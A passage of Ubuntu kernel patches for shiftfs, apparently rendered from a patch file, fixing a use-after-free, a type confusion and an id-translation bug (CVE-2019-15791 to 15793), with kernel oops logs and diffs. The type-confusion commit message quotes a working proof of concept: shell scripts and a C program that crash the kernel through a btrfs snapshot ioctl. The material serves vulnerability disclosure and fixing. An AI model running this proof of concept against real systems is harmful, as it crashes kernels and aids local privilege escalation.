-[ 183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0 |
4757 |
-[ 183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 |
4758 |
-[ 183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 |
4759 |
-[ 183.510580] Call Trace: |
4760 |
-[ 183.511396] mmap_region+0x417/0x670 |
4761 |
-[ 183.512592] do_mmap+0x3a8/0x580 |
4762 |
-[ 183.513655] vm_mmap_pgoff+0xcb/0x120 |
4763 |
-[ 183.514863] ksys_mmap_pgoff+0x1ca/0x2a0 |
4764 |
-[ 183.516155] __x64_sys_mmap+0x33/0x40 |
4765 |
-[ 183.517352] do_syscall_64+0x5a/0x130 |
4766 |
-[ 183.518548] entry_SYSCALL_64_after_hwframe+0x44/0xa9 |
4767 |
-[ 183.520196] RIP: 0033:0x7f1d01bfaaf6 |
4768 |
-[ 183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61 |
4769 |
-[ 183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009 |
4770 |
-[ 183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6 |
4771 |
-[ 183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000 |
4772 |
-[ 183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000 |
4773 |
-[ 183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140 |
4774 |
-[ 183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000 |
4775 |
-[ 183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover |
4776 |
-[ 183.560350] ---[ end trace 4a860910803657c2 ]--- |
4777 |
-[ 183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs] |
4778 |
-[ 183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00 |
4779 |
-[ 183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206 |
4780 |
-[ 183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000 |
4781 |
-[ 183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400 |
4782 |
-[ 183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000 |
4783 |
-[ 183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0 |
4784 |
-[ 183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40 |
4785 |
-[ 183.582411] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000 |
4786 |
-[ 183.584960] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 |
4787 |
-[ 183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0 |
4788 |
-[ 183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 |
4789 |
-[ 183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 |
4790 |
-======================================= |
4791 |
- |
4792 |
-Disassembly of surrounding code: |
4793 |
- |
4794 |
-55 push rbp |
4795 |
-4889E5 mov rbp,rsp |
4796 |
-4157 push r15 |
4797 |
-4156 push r14 |
4798 |
-4155 push r13 |
4799 |
-4154 push r12 |
4800 |
-488B87C8000000 mov rax,[rdi+0xc8] |
4801 |
-4C8B6810 mov r13,[rax+0x10] |
4802 |
-498B4528 mov rax,[r13+0x28] |
4803 |
-4883786000 cmp qword [rax+0x60],byte +0x0 <-- GPF HERE |
4804 |
-0F8497000000 jz near 0xcc |
4805 |
-4989FC mov r12,rdi |
4806 |
-4989F6 mov r14,rsi |
4807 |
- |
4808 |
-This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I |
4809 |
-think this corresponds to the load of "realfile->f_op->mmap" in the source code. |
4810 |
- |
4811 |
-Reported-by: Jann Horn <jannh@××××××.com> |
4812 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
4813 |
- |
4814 |
-CVE-2019-15791 |
4815 |
- |
4816 |
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com> |
4817 |
-Signed-off-by: Stefan Bader <stefan.bader@×××××××××.com> |
4818 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
4819 |
---- |
4820 |
- fs/shiftfs.c | 35 +++++++++++++++++++++-------------- |
4821 |
- 1 file changed, 21 insertions(+), 14 deletions(-) |
4822 |
- |
4823 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
4824 |
-index 0d6ce377b07c..9a6a7ad50b90 100644 |
4825 |
---- a/fs/shiftfs.c |
4826 |
-+++ b/fs/shiftfs.c |
4827 |
-@@ -1389,8 +1389,7 @@ static inline bool is_btrfs_snap_ioctl(int cmd) |
4828 |
- return false; |
4829 |
- } |
4830 |
- |
4831 |
--static int shiftfs_btrfs_ioctl_fd_restore(int cmd, struct fd lfd, int fd, |
4832 |
-- void __user *arg, |
4833 |
-+static int shiftfs_btrfs_ioctl_fd_restore(int cmd, int fd, void __user *arg, |
4834 |
- struct btrfs_ioctl_vol_args *v1, |
4835 |
- struct btrfs_ioctl_vol_args_v2 *v2) |
4836 |
- { |
4837 |
-@@ -1404,7 +1403,6 @@ static int shiftfs_btrfs_ioctl_fd_restore(int cmd, struct fd lfd, int fd, |
4838 |
- else |
4839 |
- ret = copy_to_user(arg, v2, sizeof(*v2)); |
4840 |
- |
4841 |
-- fdput(lfd); |
4842 |
- __close_fd(current->files, fd); |
4843 |
- kfree(v1); |
4844 |
- kfree(v2); |
4845 |
-@@ -1415,11 +1413,11 @@ static int shiftfs_btrfs_ioctl_fd_restore(int cmd, struct fd lfd, int fd, |
4846 |
- static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg, |
4847 |
- struct btrfs_ioctl_vol_args **b1, |
4848 |
- struct btrfs_ioctl_vol_args_v2 **b2, |
4849 |
-- struct fd *lfd, |
4850 |
- int *newfd) |
4851 |
- { |
4852 |
- int oldfd, ret; |
4853 |
- struct fd src; |
4854 |
-+ struct fd lfd = {}; |
4855 |
- struct btrfs_ioctl_vol_args *v1 = NULL; |
4856 |
- struct btrfs_ioctl_vol_args_v2 *v2 = NULL; |
4857 |
- |
4858 |
-@@ -1444,18 +1442,28 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg, |
4859 |
- if (!src.file) |
4860 |
- return -EINVAL; |
4861 |
- |
4862 |
-- ret = shiftfs_real_fdget(src.file, lfd); |
4863 |
-- fdput(src); |
4864 |
-- if (ret) |
4865 |
-+ ret = shiftfs_real_fdget(src.file, &lfd); |
4866 |
-+ if (ret) { |
4867 |
-+ fdput(src); |
4868 |
- return ret; |
4869 |
-+ } |
4870 |
-+ |
4871 |
-+ /* |
4872 |
-+ * shiftfs_real_fdget() does not take a reference to lfd.file, so |
4873 |
-+ * take a reference here to offset the one which will be put by |
4874 |
-+ * __close_fd(), and make sure that reference is put on fdput(lfd). |
4875 |
-+ */ |
4876 |
-+ get_file(lfd.file); |
4877 |
-+ lfd.flags |= FDPUT_FPUT; |
4878 |
-+ fdput(src); |
4879 |
- |
4880 |
-- *newfd = get_unused_fd_flags(lfd->file->f_flags); |
4881 |
-+ *newfd = get_unused_fd_flags(lfd.file->f_flags); |
4882 |
- if (*newfd < 0) { |
4883 |
-- fdput(*lfd); |
4884 |
-+ fdput(lfd); |
4885 |
- return *newfd; |
4886 |
- } |
4887 |
- |
4888 |
-- fd_install(*newfd, lfd->file); |
4889 |
-+ fd_install(*newfd, lfd.file); |
4890 |
- |
4891 |
- if (cmd == BTRFS_IOC_SNAP_CREATE) { |
4892 |
- v1->fd = *newfd; |
4893 |
-@@ -1468,7 +1476,7 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg, |
4894 |
- } |
4895 |
- |
4896 |
- if (ret) |
4897 |
-- shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2); |
4898 |
-+ shiftfs_btrfs_ioctl_fd_restore(cmd, *newfd, arg, v1, v2); |
4899 |
- |
4900 |
- return ret; |
4901 |
- } |
4902 |
-@@ -1482,13 +1490,12 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd, |
4903 |
- int newfd = -EBADF; |
4904 |
- long err = 0, ret = 0; |
4905 |
- void __user *argp = (void __user *)arg; |
4906 |
-- struct fd btrfs_lfd = {}; |
4907 |
- struct super_block *sb = file->f_path.dentry->d_sb; |
4908 |
- struct btrfs_ioctl_vol_args *btrfs_v1 = NULL; |
4909 |
- struct btrfs_ioctl_vol_args_v2 *btrfs_v2 = NULL; |
4910 |
- |
4911 |
- ret = shiftfs_btrfs_ioctl_fd_replace(cmd, argp, &btrfs_v1, &btrfs_v2, |
4912 |
-- &btrfs_lfd, &newfd); |
4913 |
-+ &newfd); |
4914 |
- if (ret < 0) |
4915 |
- return ret; |
4916 |
- |
4917 |
-@@ -1511,7 +1518,7 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd, |
4918 |
- fdput(lowerfd); |
4919 |
- |
4920 |
- out_restore: |
4921 |
-- err = shiftfs_btrfs_ioctl_fd_restore(cmd, btrfs_lfd, newfd, argp, |
4922 |
-+ err = shiftfs_btrfs_ioctl_fd_restore(cmd, newfd, argp, |
4923 |
- btrfs_v1, btrfs_v2); |
4924 |
- if (!ret) |
4925 |
- ret = err; |
4926 |
--- |
4927 |
-2.39.2 |
4928 |
- |
4929 |
-From 187086d532fb6b5cb7785ebcb5438e170f136491 Mon Sep 17 00:00:00 2001 |
4930 |
-From: Christian Brauner <christian.brauner@××××××.com> |
4931 |
-Date: Fri, 1 Nov 2019 14:19:16 +0100 |
4932 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: prevent type confusion |
4933 |
-Cc: mpagano@g.o |
4934 |
- |
4935 |
-BugLink: https://bugs.launchpad.net/bugs/1850867 |
4936 |
- |
4937 |
-Verify filesystem type in shiftfs_real_fdget(). |
4938 |
- |
4939 |
-Quoting Jann Horn: |
4940 |
- #################### Bug 2: Type confusion #################### |
4941 |
- |
4942 |
- shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks |
4943 |
- passes the resulting file* into shiftfs_real_fdget(), which does this: |
4944 |
- |
4945 |
- static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd) |
4946 |
- { |
4947 |
- struct shiftfs_file_info *file_info = file->private_data; |
4948 |
- struct file *realfile = file_info->realfile; |
4949 |
- |
4950 |
- lowerfd->flags = 0; |
4951 |
- lowerfd->file = realfile; |
4952 |
- |
4953 |
- /* Did the flags change since open? */ |
4954 |
- if (unlikely(file->f_flags & ~lowerfd->file->f_flags)) |
4955 |
- return shiftfs_change_flags(lowerfd->file, file->f_flags); |
4956 |
- |
4957 |
- return 0; |
4958 |
- } |
4959 |
- |
4960 |
- file->private_data is a void* that points to a filesystem-dependent type; and |
4961 |
- some filesystems even use it to store a type-cast number instead of a pointer. |
4962 |
- The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast. |
4963 |
- |
4964 |
- As a PoC, here I'm causing a type confusion between struct shiftfs_file_info |
4965 |
- (with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at |
4966 |
- offset 0x10), and I use that to cause a memory dereference somewhere around |
4967 |
- 0x4242: |
4968 |
- |
4969 |
- ======================================= |
4970 |
- user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh |
4971 |
- #!/bin/sh |
4972 |
- sync |
4973 |
- unshare -mUr ./run2.sh |
4974 |
- user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh |
4975 |
- #!/bin/sh |
4976 |
- set -e |
4977 |
- |
4978 |
- mkdir -p mnt/tmpfs |
4979 |
- mkdir -p mnt/shiftfs |
4980 |
- mount -t tmpfs none mnt/tmpfs |
4981 |
- mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs |
4982 |
- mount|grep shift |
4983 |
- gcc -o ioctl ioctl.c -Wall |
4984 |
- ./ioctl |
4985 |
- user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c |
4986 |
- #include <sys/ioctl.h> |
4987 |
- #include <fcntl.h> |
4988 |
- #include <err.h> |
4989 |
- #include <unistd.h> |
4990 |
- #include <linux/btrfs.h> |
4991 |
- #include <sys/mman.h> |
4992 |
- |
4993 |
- int main(void) { |
4994 |
- // make our vmacache sequence number something like 0x4242 |
4995 |
- for (int i=0; i<0x4242; i++) { |
4996 |
- void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ, |
4997 |
- MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); |
4998 |
- if (x == MAP_FAILED) err(1, "mmap vmacache seqnum"); |
4999 |
- munmap(x, 0x1000); |
5000 |
- } |
5001 |
- |
5002 |
- int root = open("mnt/shiftfs", O_RDONLY); |
5003 |
- if (root == -1) err(1, "open shiftfs root"); |
5004 |
- int foofd = open("/proc/self/environ", O_RDONLY); |
5005 |
- if (foofd == -1) err(1, "open foofd"); |
5006 |
- // trigger the confusion |
5007 |
- struct btrfs_ioctl_vol_args iocarg = { |
5008 |
- .fd = foofd |
5009 |
- }; |
5010 |
- ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg); |
5011 |
- } |
5012 |
- user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh |
5013 |
- none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000) |
5014 |
- /home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2) |
5015 |
- [ 348.103005] BUG: unable to handle page fault for address: 0000000000004289 |
5016 |
- [ 348.105060] #PF: supervisor read access in kernel mode |
5017 |
- [ 348.106573] #PF: error_code(0x0000) - not-present page |
5018 |
- [ 348.108102] PGD 0 P4D 0 |
5019 |
- [ 348.108871] Oops: 0000 [#1] SMP PTI |
5020 |
- [ 348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu |
5021 |
- [ 348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014 |
5022 |
- [ 348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs] |
5023 |
- [ 348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75 |
5024 |
- [ 348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246 |
5025 |
- [ 348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249 |
5026 |
- [ 348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004 |
5027 |
- [ 348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150 |
5028 |
- [ 348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401 |
5029 |
- [ 348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004 |
5030 |
- [ 348.133421] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000 |
5031 |
- [ 348.135753] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 |
5032 |
- [ 348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0 |
5033 |
- [ 348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 |
5034 |
- [ 348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 |
5035 |
- [ 348.143545] Call Trace: |
5036 |
- [ 348.144272] shiftfs_ioctl+0x65/0x76 [shiftfs] |
5037 |
- [ 348.145562] do_vfs_ioctl+0x407/0x670 |
5038 |
- [ 348.146620] ? putname+0x4a/0x50 |
5039 |
- [ 348.147556] ksys_ioctl+0x67/0x90 |
5040 |
- [ 348.148514] __x64_sys_ioctl+0x1a/0x20 |
5041 |
- [ 348.149593] do_syscall_64+0x5a/0x130 |
5042 |
- [ 348.150658] entry_SYSCALL_64_after_hwframe+0x44/0xa9 |
5043 |
- [ 348.152108] RIP: 0033:0x7f77fa76767b |
5044 |
- [ 348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48 |
5045 |
- [ 348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010 |
5046 |
- [ 348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b |
5047 |
- [ 348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003 |
5048 |
- [ 348.164680] RBP: 00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000 |
5049 |
- [ 348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100 |
5050 |
- [ 348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000 |
5051 |
- [ 348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk |
5052 |
- [ 348.188617] CR2: 0000000000004289 |
5053 |
- [ 348.189586] ---[ end trace dad859a1db86d660 ]--- |
5054 |
- [ 348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs] |
5055 |
- [ 348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75 |
5056 |
- [ 348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246 |
5057 |
- [ 348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249 |
5058 |
- [ 348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004 |
5059 |
- [ 348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150 |
5060 |
- [ 348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401 |
5061 |
- [ 348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004 |
5062 |
- [ 348.210395] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000 |
5063 |
- [ 348.212710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 |
5064 |
- [ 348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0 |
5065 |
- [ 348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 |
5066 |
- [ 348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 |
5067 |
- Killed |
5068 |
- user@ubuntu1910vm:~/shiftfs_confuse$ |
5069 |
- |
5070 |
-Reported-by: Jann Horn <jannh@××××××.com> |
5071 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
5072 |
-[ saf: use f_op->open instead as special inodes in shiftfs sbs |
5073 |
- will not use shiftfs open f_ops ] |
5074 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
5075 |
- |
5076 |
-CVE-2019-15792 |
5077 |
- |
5078 |
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com> |
5079 |
-Signed-off-by: Stefan Bader <stefan.bader@×××××××××.com> |
5080 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
5081 |
---- |
5082 |
- fs/shiftfs.c | 33 +++++++++++++++++++-------------- |
5083 |
- 1 file changed, 19 insertions(+), 14 deletions(-) |
5084 |
- |
5085 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
5086 |
-index 9a6a7ad50b90..897e0163005e 100644 |
5087 |
---- a/fs/shiftfs.c |
5088 |
-+++ b/fs/shiftfs.c |
5089 |
-@@ -1087,20 +1087,6 @@ static int shiftfs_change_flags(struct file *file, unsigned int flags) |
5090 |
- return 0; |
5091 |
- } |
5092 |
- |
5093 |
--static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd) |
5094 |
--{ |
5095 |
-- struct file *realfile = file->private_data; |
5096 |
-- |
5097 |
-- lowerfd->flags = 0; |
5098 |
-- lowerfd->file = realfile; |
5099 |
-- |
5100 |
-- /* Did the flags change since open? */ |
5101 |
-- if (unlikely(file->f_flags & ~lowerfd->file->f_flags)) |
5102 |
-- return shiftfs_change_flags(lowerfd->file, file->f_flags); |
5103 |
-- |
5104 |
-- return 0; |
5105 |
--} |
5106 |
-- |
5107 |
- static int shiftfs_open(struct inode *inode, struct file *file) |
5108 |
- { |
5109 |
- struct file *realfile; |
5110 |
-@@ -1187,6 +1173,25 @@ static rwf_t shiftfs_iocb_to_rwf(struct kiocb *iocb) |
5111 |
- return flags; |
5112 |
- } |
5113 |
- |
5114 |
-+static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd) |
5115 |
-+{ |
5116 |
-+ struct file *realfile; |
5117 |
-+ |
5118 |
-+ if (file->f_op->open != shiftfs_open && |
5119 |
-+ file->f_op->open != shiftfs_dir_open) |
5120 |
-+ return -EINVAL; |
5121 |
-+ |
5122 |
-+ realfile = file->private_data; |
5123 |
-+ lowerfd->flags = 0; |
5124 |
-+ lowerfd->file = realfile; |
5125 |
-+ |
5126 |
-+ /* Did the flags change since open? */ |
5127 |
-+ if (unlikely(file->f_flags & ~lowerfd->file->f_flags)) |
5128 |
-+ return shiftfs_change_flags(lowerfd->file, file->f_flags); |
5129 |
-+ |
5130 |
-+ return 0; |
5131 |
-+} |
5132 |
-+ |
5133 |
- static ssize_t shiftfs_read_iter(struct kiocb *iocb, struct iov_iter *iter) |
5134 |
- { |
5135 |
- struct file *file = iocb->ki_filp; |
5136 |
--- |
5137 |
-2.39.2 |
5138 |
- |
5139 |
-From 7bb96158915054edeee67b13212cd19b8fff54bd Mon Sep 17 00:00:00 2001 |
5140 |
-From: Seth Forshee <seth.forshee@×××××××××.com> |
5141 |
-Date: Fri, 1 Nov 2019 13:35:25 -0500 |
5142 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: Correct id translation for lower fs |
5143 |
- operations |
5144 |
-Cc: mpagano@g.o |
5145 |
- |
5146 |
-BugLink: https://bugs.launchpad.net/bugs/1850867 |
5147 |
- |
5148 |
-Several locations which shift ids translate user/group ids before |
5149 |
-performing operations in the lower filesystem are translating |
5150 |
-them into init_user_ns, whereas they should be translated into |
5151 |
-the s_user_ns for the lower filesystem. This will result in using |
5152 |
-ids other than the intended ones in the lower fs, which will |
5153 |
-likely not map into the shifts s_user_ns. |
5154 |
- |
5155 |
-Change these sites to use shift_k[ug]id() to do a translation |
5156 |
-into the s_user_ns of the lower filesystem. |
5157 |
- |
5158 |
-Reported-by: Jann Horn <jannh@××××××.com> |
5159 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
5160 |
- |
5161 |
-CVE-2019-15793 |
5162 |
- |
5163 |
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com> |
5164 |
-Signed-off-by: Stefan Bader <stefan.bader@×××××××××.com> |
5165 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
5166 |
---- |
5167 |
- fs/shiftfs.c | 43 +++++++++++++++++++++++-------------------- |
5168 |
- 1 file changed, 23 insertions(+), 20 deletions(-) |
5169 |
- |
5170 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
5171 |
-index 897e0163005e..04fba4689eb6 100644 |
5172 |
---- a/fs/shiftfs.c |
5173 |
-+++ b/fs/shiftfs.c |
5174 |
-@@ -83,12 +83,27 @@ static inline void shiftfs_revert_object_creds(const struct cred *oldcred, |
5175 |
- put_cred(newcred); |
5176 |
- } |
5177 |
- |
5178 |
-+static kuid_t shift_kuid(struct user_namespace *from, struct user_namespace *to, |
5179 |
-+ kuid_t kuid) |
5180 |
-+{ |
5181 |
-+ uid_t uid = from_kuid(from, kuid); |
5182 |
-+ return make_kuid(to, uid); |
5183 |
-+} |
5184 |
-+ |
5185 |
-+static kgid_t shift_kgid(struct user_namespace *from, struct user_namespace *to, |
5186 |
-+ kgid_t kgid) |
5187 |
-+{ |
5188 |
-+ gid_t gid = from_kgid(from, kgid); |
5189 |
-+ return make_kgid(to, gid); |
5190 |
-+} |
5191 |
-+ |
5192 |
- static int shiftfs_override_object_creds(const struct super_block *sb, |
5193 |
- const struct cred **oldcred, |
5194 |
- struct cred **newcred, |
5195 |
- struct dentry *dentry, umode_t mode, |
5196 |
- bool hardlink) |
5197 |
- { |
5198 |
-+ struct shiftfs_super_info *sbinfo = sb->s_fs_info; |
5199 |
- kuid_t fsuid = current_fsuid(); |
5200 |
- kgid_t fsgid = current_fsgid(); |
5201 |
- |
5202 |
-@@ -100,8 +115,8 @@ static int shiftfs_override_object_creds(const struct super_block *sb, |
5203 |
- return -ENOMEM; |
5204 |
- } |
5205 |
- |
5206 |
-- (*newcred)->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, fsuid)); |
5207 |
-- (*newcred)->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, fsgid)); |
5208 |
-+ (*newcred)->fsuid = shift_kuid(sb->s_user_ns, sbinfo->userns, fsuid); |
5209 |
-+ (*newcred)->fsgid = shift_kgid(sb->s_user_ns, sbinfo->userns, fsgid); |
5210 |
- |
5211 |
- if (!hardlink) { |
5212 |
- int err = security_dentry_create_files_as(dentry, mode, |
5213 |
-@@ -117,20 +132,6 @@ static int shiftfs_override_object_creds(const struct super_block *sb, |
5214 |
- return 0; |
5215 |
- } |
5216 |
- |
5217 |
--static kuid_t shift_kuid(struct user_namespace *from, struct user_namespace *to, |
5218 |
-- kuid_t kuid) |
5219 |
--{ |
5220 |
-- uid_t uid = from_kuid(from, kuid); |
5221 |
-- return make_kuid(to, uid); |
5222 |
--} |
5223 |
-- |
5224 |
--static kgid_t shift_kgid(struct user_namespace *from, struct user_namespace *to, |
5225 |
-- kgid_t kgid) |
5226 |
--{ |
5227 |
-- gid_t gid = from_kgid(from, kgid); |
5228 |
-- return make_kgid(to, gid); |
5229 |
--} |
5230 |
-- |
5231 |
- static void shiftfs_copyattr(struct inode *from, struct inode *to) |
5232 |
- { |
5233 |
- struct user_namespace *from_ns = from->i_sb->s_user_ns; |
5234 |
-@@ -758,6 +759,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr) |
5235 |
- struct iattr newattr; |
5236 |
- const struct cred *oldcred; |
5237 |
- struct super_block *sb = dentry->d_sb; |
5238 |
-+ struct shiftfs_super_info *sbinfo = sb->s_fs_info; |
5239 |
- int err; |
5240 |
- |
5241 |
- err = setattr_prepare(dentry, attr); |
5242 |
-@@ -765,8 +767,8 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr) |
5243 |
- return err; |
5244 |
- |
5245 |
- newattr = *attr; |
5246 |
-- newattr.ia_uid = KUIDT_INIT(from_kuid(sb->s_user_ns, attr->ia_uid)); |
5247 |
